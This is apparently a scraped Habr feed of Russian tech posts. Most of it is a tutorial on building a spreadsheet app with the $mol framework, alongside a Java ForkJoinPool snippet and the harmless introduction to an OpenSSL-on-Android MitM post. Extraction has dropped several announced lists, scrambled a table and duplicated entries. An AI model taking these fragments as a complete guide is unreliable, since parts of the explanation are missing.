Как создать понятный пользователю каталог услуг: делаем это за 9 шагов |
Метки: author it-guild управление e-commerce service desk блог компании ит гильдия ит гильдия каталог услуг itsm itil |
Обзор дефектов кода музыкального софта. Часть 1. MuseScore |
Метки: author SvyatoslavMC open source c++ блог компании pvs-studio статический анализ кода компиляторы pvs-studio static code analysis musescore |
Обзор дефектов кода музыкального софта. Часть 1. MuseScore |
Метки: author SvyatoslavMC open source c++ блог компании pvs-studio статический анализ кода компиляторы pvs-studio static code analysis musescore |
Загрузка ОС на ARM |
Архитектура | Коммерческое название | Распространенные виды | Запуск Linux |
ARMv4 | ARM7 | ARM7TDMI | Нецелесообразно |
ARMv5 | ARM9 | ARM926EJ-S | Да |
ARMv6 | ARM11 | ARM1176JZF-S | Да |
Cortex-M0 | Cortex-M0 | Нет | |
ARMv7 | Cortex-M | Cortex-M3 | Нецелесообразно |
Cortex-A | Cortex-A9 | Да | |
Cortex-R | Cortex-R4 | Да | |
ARMv8 | Cortex-A | Cortex-A53 | Да |
|
Загрузка ОС на ARM |
Архитектура | Коммерческое название | Распространенные виды | Запуск Linux |
ARMv4 | ARM7 | ARM7TDMI | Нецелесообразно |
ARMv5 | ARM9 | ARM926EJ-S | Да |
ARMv6 | ARM11 | ARM1176JZF-S | Да |
Cortex-M0 | Cortex-M0 | Нет | |
ARMv7 | Cortex-M | Cortex-M3 | Нецелесообразно |
Cortex-A | Cortex-A9 | Да | |
Cortex-R | Cortex-R4 | Да | |
ARMv8 | Cortex-A | Cortex-A53 | Да |
|
[recovery mode] $mol_app_calc: вечеринка электронных таблиц |
Здравствуйте, меня зовут Дмитрий Карловский и я… обожаю математику. Однажды мне не спалось и я запилил сервис для таких же отбитых как и я — легковесную электронную таблицу с пользовательскими формулами, шарингом и скачиванием.
Живой пример с расчётом кредита:
А дальше я расскажу, как сотворить такое же за вечер используя фреймворк $mol...
$mol — современный фреймворк для быстрого создания кроссплатформенных отзывчивых веб-приложений. Он базируется на архитектуре MAM устанавливающей следующие правила для всех модулей:
/my/file/
и /my/file2/
. Это позволит использовать оба интерфейса не путаясь в них.Начать разработку на $mol очень просто. Вы один раз разворачиваете рабочее окружение и далее клепаете приложения/библиотеки как пирожки.
Для начала вам потребуется установить:
Если вы работаете под Windows, то стоит настроить GIT, чтобы он не менял концы строк в ваших исходниках:
git config --global core.autocrlf input
Теперь следует развернуть MAM проект, который автоматически поднимет вам девелоперский сервер:
git clone https://github.com/eigenmethod/mam.git
cd mam
npm install
npm start
Всё, сервер разработчика запущен, можно открывать редактор. Обратите внимание, что в редакторе нужно открывать именно директорию MAM проекта, а не проекта конкретного приложения или вашей компании.
Как видите, начать разрабатывать на $mol очень просто. Основной принцип MAM архитектуры — из коробки всё должно работать как следует, а не требовать долгой утомительной настройки.
Для конспирации наше приложение будет иметь позывной $mol_app_calc
. По правилам MAM лежать оно должно соответственно в директории /mol/app/calc/
. Все файлы в дальнейшем мы будем создавать именно там.
Первым делом создадим точку входа — простой index.html
:
Ничего особенного, разве что мы указали точку монтирования приложения специальным атрибутом mol_view_root
в котором обозначили, что монтировать надо именно наше приложение. Архитектура $mol такова, что любой компонент может выступать в качестве корня приложения. И наоборот, любое $mol приложение — не более, чем обычный компонент и может быть легко использовано внутри другого приложения. Например, в галерее приложений.
Обратите внимание, что мы уже сразу прописали пути к скриптам и стилям — эти бандлы будут собираться автоматически для нашего приложения и включать в себя только те исходные коды, что реально ему необходимы. Забегая вперёд стоит заметить, что общий объём приложения составит каких-то 36KB без минификации, но с зипованием:
Итак, чтобы объявить компонент, который будет нашим приложением, нам нужно создать файл calc.view.tree
, простейшее содержимое которого состоит всего из одной строчки:
$mol_app_calc $mol_page
Второе слово — имя базового компонента, а первое — имя нашего, который будет унаследован от базового. Таким образом каждый компонент является преемником какого-либо другого. Самый-самый базовый компонент, от которого происходят все остальные — $mol_view. Он даёт всем компонентам лишь самые базовые стили и поведение. В нашем случае, базовым будет компонент $mol_page представляющий собой страницу с шапкой, телом и подвалом.
Из calc.view.tree
будет автоматически сгенерирован TypeScript класс компонента и помещён в -view.tree/calc.view.tree.ts
, чтобы среда разработки могла его подхватить:
namespace $ { export class $mol_app_calc extends $mol_page {
} }
Собственно, сейчас приложение уже можно открыть по адресу http://localhost:8080/mol/app/calc/
и увидеть пустую страничку c позывным в качестве заголовка:
Синтаксис view.tree довольно необычен, но он прост и лаконичен. Позволю себе процитировать один из отзывов о нём:
Синтаксис tree очень легко читать, но нужно немного привыкнуть и не бросить всё раньше времени. Мой мозг переваривал и негодовал около недели, а потом приходит просветление и понимаешь как сильно этот фреймворк упрощает процесс разработки. © Виталий Макеев
Так что не пугаемся, а погружаемся! И начнём с общей раскладки страницы — она будет состоять у нас из шапки, панели редактирования текущей ячейки и собственно таблицы с данными.
У каждого компонента есть свойство sub()
, которое возвращает список того, что должно быть отрендерено непосредственно внутри компонента. У $mol_page туда рендерятся значения свойств Head()
, Body()
и Foot()
, которые возвращают соответствующе подкомпоненты:
$mol_page $mol_view
sub /
<= Head $mol_view
<= Body $mol_scroll
<= Foot $mol_view
В данном коде опущены детали реализации подкомпонент, чтобы была видна суть. Объявляя подкомпонент (он же "Элемент" в терминологии БЭМ) мы указываем его имя в контексте нашего компонента и имя класса, который должен быть инстанцирован. Созданный таким образом экземпляр компонента будет закеширован и доступен через одноимённое свойство. Например, this.Body()
в контексте нашего приложения вернёт настроенный экземпляр $mol_scroll. Говоря паттернами, свойство Body()
выступает в качестве локальной ленивой фабрики.
Давайте преопределим свойство sub()
, чтобы оно возвращало нужные нам компоненты:
$mol_app_calc $mol_page
sub /
<= Head -
<= Current $mol_bar
<= Body $mol_grid
Тут мы оставили шапку от $mol_page, добавили $mol_bar в качестве панельки редактирования текущей ячейки, в качестве тела страницы использовали $mol_grid — компонент для рисования виртуальных таблиц, а подвал так и вовсе убрали, так как он нам без надобности.
Давайте взглянем, как изменился сгенерированный класс:
namespace $ { export class $mol_app_calc extends $mol_page {
/// sub /
/// <= Head -
/// <= Current -
/// <= Body -
sub() {
return [].concat( this.Head() , this.Current() , this.Body() )
}
/// Current $mol_bar
@ $mol_mem
Current() {
return new this.$.$mol_bar
}
/// Body $mol_grid
@ $mol_mem
Body() {
return new this.$.$mol_grid
}
} }
Визитная карточка $mol — очень "читабельный" код. Это касается не только генерируемого кода, но и кода модулей самого $mol, и прикладного кода создаваемых на его базе приложений.
Возможно вы обратили внимание на то, что объекты создаются не прямым инстанцированием по имени класса new $mol_grid
, а через this.$
. Поле $
есть у любого компонента и возвращает глобальный контекст или реестр, говоря паттернами. Отличительной особенностью доступа ко глобальным значениям через поле $
является возможность любому компоненту переопределить контекст для всех вложенных в него на любую глубину компонентов. Таким образом $mol в крайне практичной и ненавязчивой форме реализует инверсию контроля, позволяющую подменять реализации использующиеся где-то в глубине переиспользуемого компонента.
Что ж, давайте нарастим немного мясца и настроим вложенные компоненты под себя: гриду нужно объяснить, какие у нас будут идентификаторы столбцов, какие идентификаторы строк, а также списки ячеек в шапке и теле таблицы.
Body $mol_grid
col_ids <= col_ids /
row_ids <= row_ids /
head_cells <= head_cells /
cells!row <= cells!row /
Генерируемый класс расширится следующим описанием:
/// Body $mol_grid
/// col_ids <= col_ids -
/// row_ids <= row_ids -
/// head_cells <= head_cells -
/// cells!row <= cells!row -
@ $mol_mem
Body() {
const obj = new this.$.$mol_grid
obj.col_ids = () => this.col_ids()
obj.row_ids = () => this.row_ids()
obj.head_cells = () => this.head_cells()
obj.cells = ( row ) => this.cells( row )
return obj
}
Как видите, мы просто переопределили соответствующие свойства вложенного компонента на свои реализации. Это очень простая, но в то же время мощная техника, позволяющая реактивно связывать компоненты друг с другом. В синтаксисе view.tree
поддерживается 3 типа связывания:
Для иллюстрации двустороннего связывания, давайте детализируем панель редактирования текущей ячейки:
Current $mol_bar
sub /
<= Pos $mol_string
enabled false
value <= pos \
<= Edit $mol_string
hint \=
value?val <=> formula_current?val \
Как видно оно у нас будет состоять у нас из двух полей ввода:
enabled
— оставим этот функционал на будущее.value
поля ввода и наше свойство formula_current
, которое мы тут же и объявляем, указав значение по умолчанию — пустую строку.Код свойств Edit
и formula_current
будет сгенерирован примерно следующий:
/// Edit $mol_string
/// hint \=
/// value?val <=> formula_current?val -
@ $mol_mem
Edit() {
const obj = new this.$.$mol_string
obj.hint = () => "="
obj.value = ( val? ) => this.formula_current( val )
return obj
}
/// formula_current?val \
@ $mol_mem
formula_current( val? : string , force? : $mol_atom_force ) {
return ( val !== undefined ) ? val : ""
}
Благодаря реактивному мемоизирующему декоратору $mol_mem, возвращаемое методом formula_current
значение кешируется до тех пока пока оно кому-нибудь нужно.
Пока что у нас было лишь декларативное описание композиции компонент. Прежде чем мы начнём описывать логику работы, давайте сразу объявим как у нас будут выглядеть ячейки:
Col_head!id $mol_float
dom_name \th
horizontal false
sub / <= col_title!id \
-
Row_head!id $mol_float
dom_name \th
vertical false
sub / <= row_title!id \
-
Cell!id $mol_app_calc_cell
value <= result!id \
selected?val <=> selected!id?val false
Заголовки строк и колонок у нас будут плавающими, поэтому мы используем для них компонент $mol_float, который отслеживает позицию скроллинга, предоставляемую компонентом $mol_scroll через контекст, и смещает компонент так, чтобы он всегда был в видимой области. А для ячейки заводим отдельный компонент $mol_app_calc_cell
:
$mol_app_calc_cell $mol_button
dom_name \td
sub /
<= value \
attr *
^
mol_app_calc_cell_selected <= selected?val false
mol_app_calc_cell_type <= type?val \
event_click?event <=> select?event null
Этот компонент у нас будет кликабельным, поэтому мы наследуем его от $mol_button. События кликов мы направляем в свойство select
, которое в дальнейшем у нас будет переключать редактор ячейки на ту, по которой кликнули. Кроме того, мы добавляем сюда пару атрибутов, чтобы по особенному стилизовать выбранную ячейку и обеспечить ячейкам числового типа выравниванием по правому краю. Забегая верёд, стили для ячеек у нас будут простые:
[mol_app_calc_cell] {
user-select: text; /* по умолчанию $mol_button не выделяемый */
background: var(--mol_skin_card); /* используем css-variables благодаря post-css */
}
[mol_app_calc_cell_selected] {
box-shadow: var(--mol_skin_focus_outline);
z-index: 1;
}
[mol_app_calc_cell_type="number"] {
text-align: right;
}
Обратите внимание на одноимённый компоненту селектор [mol_app_calc_cell]
— соответствующий атрибут добавляется dom-узлу автоматически, полностью избавляя программиста от ручной работы по расстановке css-классов. Это упрощает разработку и гарантирует консистентность именования.
Наконец, чтобы добавить свою логику, мы создаём calc.view.ts
, где создаём класс в пространстве имён $.$$
, который наследуем от одноимённого автоматически сгенерированного класса из пространства имён $
:
namespace $.$$ {
export class $mol_app_calc_cell extends $.$mol_app_calc_cell {
// переопределения свойств
}
}
Во время исполнения оба пространства имён будут указывать на один и тот же объект, а значит наш класс с логикой после того как отнаследуется от автогенерированного класса просто займёт его место. Благодаря такой хитрой манипуляции добавление класса с логикой остаётся опциональным, и применяется только, когда декларативного описания не хватает. Например, переопределим свойство select()
, чтобы при попытке записать в него объект события, оно изменяло свойство selected()
на true
:
select( event? : Event ) {
if( event ) this.selected( true )
}
А свойство type()
у нас будет возвращать тип ячейки, анализируя свойство value()
:
type() {
const value = this.value()
return isNaN( Number( value ) ) ? 'string' : 'number'
}
Но давайте вернёмся к таблице. Аналогичным образом мы добавляем логику к компоненту $mol_app_calc
:
export class $mol_app_calc extends $.$mol_app_calc {
}
Первым делом нам надо сформировать списки идентификаторов строк row_ids()
и столбцов col_ids()
:
@ $mol_mem
col_ids() {
return Array( this.dimensions().cols ).join(' ').split(' ').map( ( _ , i )=> this.number2string( i ) )
}
@ $mol_mem
row_ids() {
return Array( this.dimensions().rows ).join(' ').split(' ').map( ( _ , i )=> i + 1 )
}
Они зависят от свойства dimensions()
, которое мы будем вычислять на основе заполненности ячеек, так, чтобы у любой заполненной ячейки было ещё минимум две пустые справа и снизу:
@ $mol_mem
dimensions() {
const dims = {
rows : 2 ,
cols : 3 ,
}
for( let key of Object.keys( this.formulas() ) ) {
const parsed = /^([A-Z]+)(\d+)$/.exec( key )
const rows = Number( parsed[2] ) + 2
const cols = this.string2number( parsed[1] ) + 3
if( rows > dims.rows ) dims.rows = rows
if( cols > dims.cols ) dims.cols = cols
}
return dims
}
Методы string2number()
и number2string()
просто преобразуют буквенные координаты колонок в числовые и наоборот:
number2string( numb : number ) {
const letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
let str = ''
do {
str = letters[ numb % 26 ] + str
numb = Math.floor( numb / 26 )
} while ( numb )
return str
}
string2number( str : string ) {
let numb = 0
for( let symb of str.split( '' ) ) {
numb = numb * 26
numb += symb.charCodeAt( 0 ) - 65
}
return numb
}
Размерность таблицы мы вычисляем на основе реестра формул, который берём из свойства formulas()
. Возвращать оно должно json вида:
{
"A1" : "12" ,
"B1" : "=A1*2"
}
А сами формулы мы будем брать и строки адреса, вида #A1=12/B1=%3DA1*2
:
@ $mol_mem
formulas( next? : { [ key : string ] : string } ) {
const formulas : typeof next = {}
let args = this.$.$mol_state_arg.dict()
if( next ) args = this.$.$mol_state_arg.dict({ ... args , ... next })
const ids = Object.keys( args ).filter( param => /^[A-Z]+\d+$/.test( param ) )
for( let id of ids ) formulas[ id ] = args[ id ]
return formulas
}
Как видно, свойство formulas()
изменяемое, то есть мы можем через него как прочитать формулы для ячеек, так и записать обновление в адресную строку. Например, если выполнить: this.formulas({ 'B1' : '24' })
, то в адресной строке мы увидим уже #A1=12/B1=24
.
Кроссплатформенный модуль $mol_state_arg позволяет нам работать с параметрами приложения как со словарём, но как правило удобнее получать и записывать конкретный параметр по имени. Например, позволим пользователю изменять название нашей таблицы, которое мы опять же будем сохранять в адресной строке:
title( next? : string ) {
const title = this.$.$mol_state_arg.value( `title` , next )
return title == undefined ? super.title() : title
}
Как можно заметить, если в адресной строке имя таблицы не задано, то будет взято имя заданное в родительском классе, который генерируется из calc.view.tree
, который мы сейчас обновим, добавив в шапку вместо простого вывода заголовка, поле ввода-вывода заголовка:
head /
<= Title_edit $mol_string
value?val <=> title?val @ \Spreedsheet
<= Tools -
head()
— свойство из $mol_page, которое возвращает список того, что должно быть отрендерено внутри подкомпонента Head()
. Это типичный паттерн в $mol — называть вложенный компонент и его содержимое одним и тем же словом, с той лишь разницей, что имя компонента пишется с большой буквы.
Tools()
— панель инструментов из $mol_page, отображаемая с правой стороны шапки. Давайте сразу же заполним и её, поместив туда кнопку скачивания таблицы в виде CSV файла:
tools /
<= Download $mol_link
hint <= download_hint @ \Download
file_name <= download_file \
uri <= download_uri?val \
click?event <=> download_generate?event null
sub /
<= Download_icon $mol_icon_load
$mol_link — компонент для формирования ссылок. Если ему указать file_name()
, то по клику он предложит скачать файл по ссылке, сохранив его под заданным именем. Давайте же сразу сформируем это имя на основе имени таблицы:
download_file() {
return `${ this.title() }.csv`
}
Обратите внимание на символ собачки перед значением по умолчанию на английском языке:
download_hint @ \Download
Вставка этого символа — это всё, что вам необходимо, чтобы добавить вашему приложению поддержку локализации. В сгенерированном классе не будет строки "Download" — там будет лишь запрос за локализованным текстом:
/// download_hint @ \Download
download_hint() {
return $mol_locale.text( "$mol_app_calc_download_hint" )
}
А сами английские тексты будут автоматически вынесены в отдельный файл -view.tree/calc.view.tree.locale=en.json
:
{
"$mol_app_calc_title": "Spreedsheet",
"$mol_app_calc_download_hint": "Download"
}
Как видно, для текстов были сформированы уникальные человекопонятные ключи. Вы можете отдать этот файл переводчикам и переводы от них поместить в фалы вида *.locale=*.json
. Например, добавим нашему компоненту переводы на русский язык в файл calc.locale=ru.json
:
{
"$mol_app_calc_title" : "Электронная таблица" ,
"$mol_app_calc_download_hint" : "Скачать"
}
Теперь, если у вас в браузере выставлен русский язык в качестве основного, то при старте приложения, будет асинхронно подгружен бандл с русскоязычными текстами -/web.locale=ru.json
. А пока идёт загрузка, компоненты, зависящие от переводов, будут автоматически показывать индикатор загрузки.
Итак, у нас есть идентификаторы строк и столбцов. Давайте сформируем списки ячеек. Сперва заголовки колонок:
@ $mol_mem
head_cells() {
return [ this.Col_head( '' ) , ... this.col_ids().map( colId => this.Col_head( colId ) ) ]
}
Обратите внимание, мы добавили лишнюю колонку вначале, так как в ней у нас будут располагаться заголовки строк. А вот и ячейки для строк:
cells( row_id : number ) {
return [ this.Row_head( row_id ) , ... this.col_ids().map( col_id => this.Cell({ row : row_id , col : col_id }) ) ]
}
Далее, вспоминаем, про свойства, которые мы провязывали для ячеек:
Cell!id $mol_app_calc_cell
value <= result!id \
selected?val <=> selected!id?val false
У ячейки это просто обычные свойства, а у нас они принимают ключ — идентификатор ячейки.
Введём свойство current()
которое будет хранить идентификатор текущей ячейки:
current?val *
row 1
col \A
А в реализации selected()
мы просто будем сравнивать ячейку по переданному идентификатору и по текущему:
@ $mol_mem_key
selected( id : { row : number , col : string } , next? : boolean ) {
return this.Cell( this.current( next ? id : undefined ) ) === this.Cell( id )
}
Разумеется, если в selected()
передано true
, то будет установлен новый идентификатор в качестве текущего и сравнение ячеек тоже даст true
.
Последний штрих — при выборе ячейки было бы не плохо переносить фокус с её самой на редактор значения:
@ $mol_mem
current( next? : { row : number , col : string } ) {
new $mol_defer( ()=> this.Edit().focused( true ) )
return next || super.current()
}
Тут мы с помощью $mol_defer ставим отложенную задачу перенести фокус на редактор всякий раз когда меняется идентификатор текущей ячейки. Отложенные задачи выполняются в том же фрейме анимации, а значит пользователь не увидит никакого мерцания от перефокусировки. Если бы мы перенесли фокус сразу, то подписались бы на состояние сфокусированности редактора и при перемещении фокуса — сбрасывался бы и идентификатор текущей ячейки, что нам, разумеется, не надо.
Постоянно тыкать мышью в ячейки для перехода между ними не очень-то удобно. Стрелочками на клавиатуре было бы быстрее. Традиционно в электронных таблицах есть два режима: режим навигации и режим редактирования. Постоянно переключаться между ними тоже напрягает. Поэтому мы сделаем ход конём и совместим редактирование и навигацию. Фокус будет постоянно оставаться на панели редактирования ячейки, но при зажатой клавише Alt, нажатие стрелочек, будет изменять редактируемую ячейку на одну из соседних. Для подобных выкрутасов есть специальный компонент $mol_nav, который является компонентом-плагином.
В $mol есть 3 вида компонент:
Добавляются плагины через свойство plugins()
. Например, добавим клавиатурную навигацию нашему приложению:
plugins /
<= Nav $mol_nav
mod_alt true
keys_x <= col_ids /
keys_y <= row_ids /
current_x?val <=> current_col?val \A
current_y?val <=> current_row?val 1
Тут мы указали, что навигироваться мы будем по горизонтали и по вертикали, по идентификаторам столбцов и колонок, соответственно. Текущие координаты мы будем синхронизировать со свойствами current_col()
и current_row()
, которые мы провяжем с собственно current()
:
current_row( next? : number ) {
return this.current( next === undefined ? undefined : { ... this.current() , row : next } ).row
}
current_col( next? : number ) {
return this.current( next === undefined ? undefined : { ... this.current() , col : next } ).col
}
Всё, теперь нажатие Alt+Right
, например, будет делать редактируемой ячейку справа от текущей, и так пока не упрётся в самую правую ячейку.
Так как ячейки у нас являются ни чем иным, как нативными td
dom-элементами, то браузер нам здорово помогает с копированием. Для этого достаточно зажать ctrl
, выделить ячейки и скопировать их в буфер обмена. Текстовое представление содержимого буфера будет ни чем иным, как Tab Separated Values, который легко распарсить при вставке. Так что мы смело добавляем обработчик соответствующего события:
event *
paste?event <=> paste?event null
И реализуем тривиальную логику:
paste( event? : ClipboardEvent ) {
const table = event.clipboardData.getData( 'text/plain' ).trim().split( '\n' ).map( row => row.split( '\t' ) ) as string[][]
if( table.length === 1 && table[0].length === 1 ) return
const anchor = this.current()
const row_start = anchor.row
const col_start = this.string2number( anchor.col )
const patch = {}
for( let row in table ) {
for( let col in table[ row ] ) {
const id = `${ this.number2string( col_start + Number( col ) ) }${ row_start + Number( row ) }`
patch[ id ] = table[ row ][ col ]
}
}
this.formulas( patch )
event.preventDefault()
}
Славно, что всё это работает не только в рамках нашего приложения — вы так же можете копипастить данные и между разными табличными процессорами, такими как Microsoft Excel или LibreOffice Calc.
Частая хотелка — экспорт данных в файл. Кнопку мы уже добавили ранее. Осталось лишь реализовать формирование ссылки на экспорт. Ссылка должна быть data-uri вида data:text/csv;charset=utf-8,{'url-кодированный текст файла}
. Содержимое CSV для совместимости с Microsoft Excel должно удовлетворять следующим требованиям:
download_generate( event? : Event ) {
const table : string[][] = []
const dims = this.dimensions()
for( let row = 1 ; row < dims.rows ; ++ row ) {
const row_data = [] as any[]
table.push( row_data )
for( let col = 0 ; col < dims.cols ; ++ col ) {
row_data[ col ] = String( this.result({ row , col : this.number2string( col ) }) )
}
}
const content = table.map( row => row.map( val => `"${ val.replace( /"/g , '""' ) }"` ).join( ';' ) ).join( '\n' )
this.download_uri( `data:text/csv;charset=utf-8,${ encodeURIComponent( content ) }` )
$mol_defer.run()
}
После установки новой ссылки, мы форсируем запуск отложенных задач, чтобы произошёл рендеринг в dom-дерево до выхода из текущего обработчика событий. Нужно это для того, чтобы браузер подхватил свежесгенерированную ссылку, а не предлагал скачать предыдущую версию файла.
Самое главное в электронных таблицах — не сами данные, а формулы, через которые можно связывать значения одних ячеек со значениями других. При этом за актуальностью вычисляемых значений электронная таблица следит сама, реактивно обновляя значения в ячейках зависимых от редактируемой в данный момент пользователем.
В нашем случае пользователь всегда редактирует именно формулу. Даже если просто вводит текст — это на самом деле формула, возвращающая этот текст. Но если он начнёт свой ввод с символа =
, то сможет использовать внутри различные математические выражения и, в том числе, обращаться к значениям других ячеек.
Реализовывать парсинг и анализ выражений — довольно сложная задача, а вечеринке уже мерещится ДедЛайн, так что мы не долго думая воспользуемся всей мощью JavaScript и позволим пользователю писать любые JS выражения. Но, чтобы он случайно не отстрелил ногу ни себе, ни кому-то ещё, будем исполнять его выражение в песочнице $mol_func_sandbox, которая ограничит мощь JavaScript до разрешённых нами возможностей:
@ $mol_mem
sandbox() {
return new $mol_func_sandbox( Math , {
'formula' : this.formula.bind( this ) ,
'result' : this.result.bind( this ) ,
} )
}
Как видите, мы разрешили пользователю использовать математические функции и константы, а также предоставили пару функций: для получения формулы ячейки и вычисленного значения ячейки по её идентификатору.
Песочница позволяет нам преобразовывать исходный код выражения в безопасные функции, которые можно безбоязненно вызывать.
@ $mol_mem_key
func( id : { row : number , col : string } ) {
const formula = this.formula( id )
if( formula[0] !== '=' ) return ()=> formula
const code = 'return ' + formula.slice( 1 )
.replace( /@([A-Z]+)([0-9]+)\b/g , 'formula({ row : $2 , col : "$1" })' )
.replace( /\b([A-Z]+)([0-9]+)\b/g , 'result({ row : $2 , col : "$1" })' )
return this.sandbox().eval( code )
}
Заставлять пользователя писать вызов функции result
вручную — слишком жестоко. Поэтому мы слегка изменяем введённую формулу, находя комбинации символов, похожие на кодовые имена ячеек вида AB34
, и заменяя их на вызовы result
. Дополнительно, вместо значения, можно будет получить формулу из ячейки, приписав спереди собачку: @AB34
. Создание таких функций — не бесплатно, так что если в ячейке у нас просто текст, а не выражение, то мы так его и возвращаем безо всяких песочниц.
Осталось дело за малым — реализовать свойство result()
с дополнительной постобработкой для гибкости:
@ $mol_mem_key
result( id : { row : number , col : string } ) {
const res = this.func( id ).call()
if( res === undefined ) return ''
if( res === '' ) return ''
if( isNaN( res ) ) return res
return Number( res )
}
Тут мы избавились от возможного значения undefined
, а так же добавили преобразование строк похожих на числа в собственно числа.
На этом основная программа нашей вечеринки подходит к концу. Полный код приложения $mol_app_calc доступен на ГитХабе. Но прошу вас не спешить расходиться. Давайте каждый возьмёт по электронной таблице в свои руки и попробует сделать с ней что-нибудь эдакое. Вместе у нас может получиться интересная галерея примеров её использования. Итак...
Метки: author vintage разработка веб-сайтов программирование open source javascript $mol $mol_app_calc typescript табличный процессор |
20 полезных сервисов для продакт-менеджеров |
|
Дайджест IT событий на октябрь |
Метки: author EverydayTools хакатоны учебный процесс в it блог компании everyday tools конференции форумы тренинги самообразование it сообщество |
Дайджест IT событий на октябрь |
Метки: author EverydayTools хакатоны учебный процесс в it блог компании everyday tools конференции форумы тренинги самообразование it сообщество |
Oblique frustum. Внутри скошенной пирамиды видимости |
Чтобы организовать задуманное нами отсечение части объектов в исходной пирамиде видимости, нам потребуется модифицировать применяемую в нашей модели матрицу перспективной проекции. Параметры таковой матрицы программисты OpenGL могут найти на сайте основной документации по OpenGL, программисты на Flash (AS3), вероятнее всего обратятся к классу PerspectiveMatrix3D, программисты Direct3D имеют свои источники, пишущие для андроида найдут всё необходимое в классе android.opengl.Matrix, и т.д. Не исключено, что кто-то, поняв основную идею, предпочтет расширить свой собственный класс перспективного преобразования дополнительной функциональностью.
|
Oblique frustum. Внутри скошенной пирамиды видимости |
Чтобы организовать задуманное нами отсечение части объектов в исходной пирамиде видимости, нам потребуется модифицировать применяемую в нашей модели матрицу перспективной проекции. Параметры таковой матрицы программисты OpenGL могут найти на сайте основной документации по OpenGL, программисты на Flash (AS3), вероятнее всего обратятся к классу PerspectiveMatrix3D, программисты Direct3D имеют свои источники, пишущие для андроида найдут всё необходимое в классе android.opengl.Matrix, и т.д. Не исключено, что кто-то, поняв основную идею, предпочтет расширить свой собственный класс перспективного преобразования дополнительной функциональностью.
|
Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум? |
|
Мобильные приложения: что такое предпраздничный сезон-2017 и как заработать на нем максимум? |
|
Stream API & ForkJoinPool |
Collection.stream().operation()
Collection.parallelStream().operation()
Source.stream().parallel().operation()
void parallel() {
int result = IntStream.range(0, 3)
.parallel()
.peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
.sum();
System.out.println("sum: " + result);
}
Thread [ForkJoinPool.commonPool-worker-1] peek: 0
Thread [main] peek: 1
Thread [ForkJoinPool.commonPool-worker-0] peek: 2
sum: 3
ForkJoinPool::makeCommonPool
private static ForkJoinPool makeCommonPool() {
int parallelism = -1;
try { // ignore exceptions in accessing/parsing properties
String pp = System.getProperty
("java.util.concurrent.ForkJoinPool.common.parallelism");
if (pp != null)
parallelism = Integer.parseInt(pp);
} catch (Exception ignore) {
}
if (parallelism < 0 && // default 1 less than #cores
(parallelism = Runtime.getRuntime().availableProcessors() - 1) <= 0)
parallelism = 1;
if (parallelism > MAX_CAP)
parallelism = MAX_CAP;
return new ForkJoinPool(parallelism, factory, handler, LIFO_QUEUE,
"ForkJoinPool.commonPool-worker-");
}
static final int MAX_CAP = 0x7fff; // max #workers - 1
-Djava.util.concurrent.ForkJoinPool.common.parallelism=n
When external threads submit to the common pool, they can
* perform subtask processing (see externalHelpComplete and
* related methods) upon joins. This caller-helps policy makes it
* sensible to set common pool parallelism level to one (or more)
* less than the total number of available cores, or even zero for
* pure caller-runs
Thread t = new Thread(() -> {
parallel();
}, "MyThread");
t.start();
t.join();
Thread [ForkJoinPool.commonPool-worker-1] peek: 0
Thread [MyThread] peek: 1
Thread [ForkJoinPool.commonPool-worker-0] peek: 2
sum: 3
final long ms = System.currentTimeMillis();
ForkJoinPool commonPool = ForkJoinPool.commonPool();
System.out.println("Parallelism: " + commonPool.getParallelism());
IntStream.range(0, commonPool.getParallelism() + 1).forEach((it) -> commonPool.submit(() -> {
try {
System.out.printf("[%d sec] [%s]: #%d start()\n",
TimeUnit.SECONDS.convert(System.currentTimeMillis() - ms, TimeUnit.MILLISECONDS),
Thread.currentThread().getName(), it);
TimeUnit.SECONDS.sleep(5);
} catch (Exception e) {e.printStackTrace();}
System.out.printf("[%d sec] [%s]: #%d finish()\n", TimeUnit.SECONDS.convert(System.currentTimeMillis() - ms, TimeUnit.MILLISECONDS), Thread.currentThread().getName(), it);
}));
int result = IntStream.range(0, 3)
.parallel()
.peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
.sum();
System.out.println("sum: " + result);
commonPool.awaitTermination(100, TimeUnit.SECONDS);
Parallelism: 2
[0 sec] [ForkJoinPool.commonPool-worker-1]: #0 start()
Thread [main] peek: 1
[0 sec] [ForkJoinPool.commonPool-worker-0]: #1 start()
Thread [main] peek: 2
Thread [main] peek: 0
sum: 3
[0 sec] [main]: #2 start()
[5 sec] [ForkJoinPool.commonPool-worker-0]: #1 finish()
[5 sec] [ForkJoinPool.commonPool-worker-1]: #0 finish()
[5 sec] [main]: #2 finish()
ForkJoinPool custom = new ForkJoinPool(2);
custom.submit(() -> {
int result = IntStream.range(0, 3)
.parallel()
.peek(it -> System.out.printf("Thread [%s] peek: %d\n", Thread.currentThread().getName(), it))
.sum();
System.out.println("sum: " + result);
});
Parallelism: 2
[0 sec] [ForkJoinPool.commonPool-worker-1]: #0 start()
Thread [ForkJoinPool-1-worker-0] peek: 0
Thread [ForkJoinPool-1-worker-1] peek: 1
[0 sec] [main]: #2 start()
[0 sec] [ForkJoinPool.commonPool-worker-0]: #1 start()
Thread [ForkJoinPool-1-worker-0] peek: 2
sum: 3
[5 sec] [ForkJoinPool.commonPool-worker-1]: #0 finish()
[5 sec] [ForkJoinPool.commonPool-worker-0]: #1 finish()
[5 sec] [main]: #2 finish()
Метки: author MaxRokatansky программирование параллельное программирование java блог компании отус parallelism stream api forkjoinpool otus |
Делаем MitM с помощью openssl на Android |
В русскоязычном интернете трудно найти информацию об API-библиотеке OpenSSL. Большое внимание уделяется использованию консольных команд для манипуляции с самоподписанными сертификатами для веб-серверов или OpenVPN-серверов.
Такой подход хорош, когда нужно сделать пару сертификатов в час. А если потребуется создать сразу пару сотен за минуту? Или писать скрипт и разбирать вывод из консоли? А если в процессе произошла ошибка?
При использовании API генерация сертификатов, проверка валидности и подпись выполняются гораздо проще. Появляется возможность контролировать и обрабатывать ошибки на всех этапах работы, а также указывать дополнительные параметры сертификата (поскольку не все параметры можно задавать из консоли) и производить тонкую настройку.
Отдельно стоит отметить сетевую составляющую. Если сертификат есть и просто лежит на диске, он бесполезен.
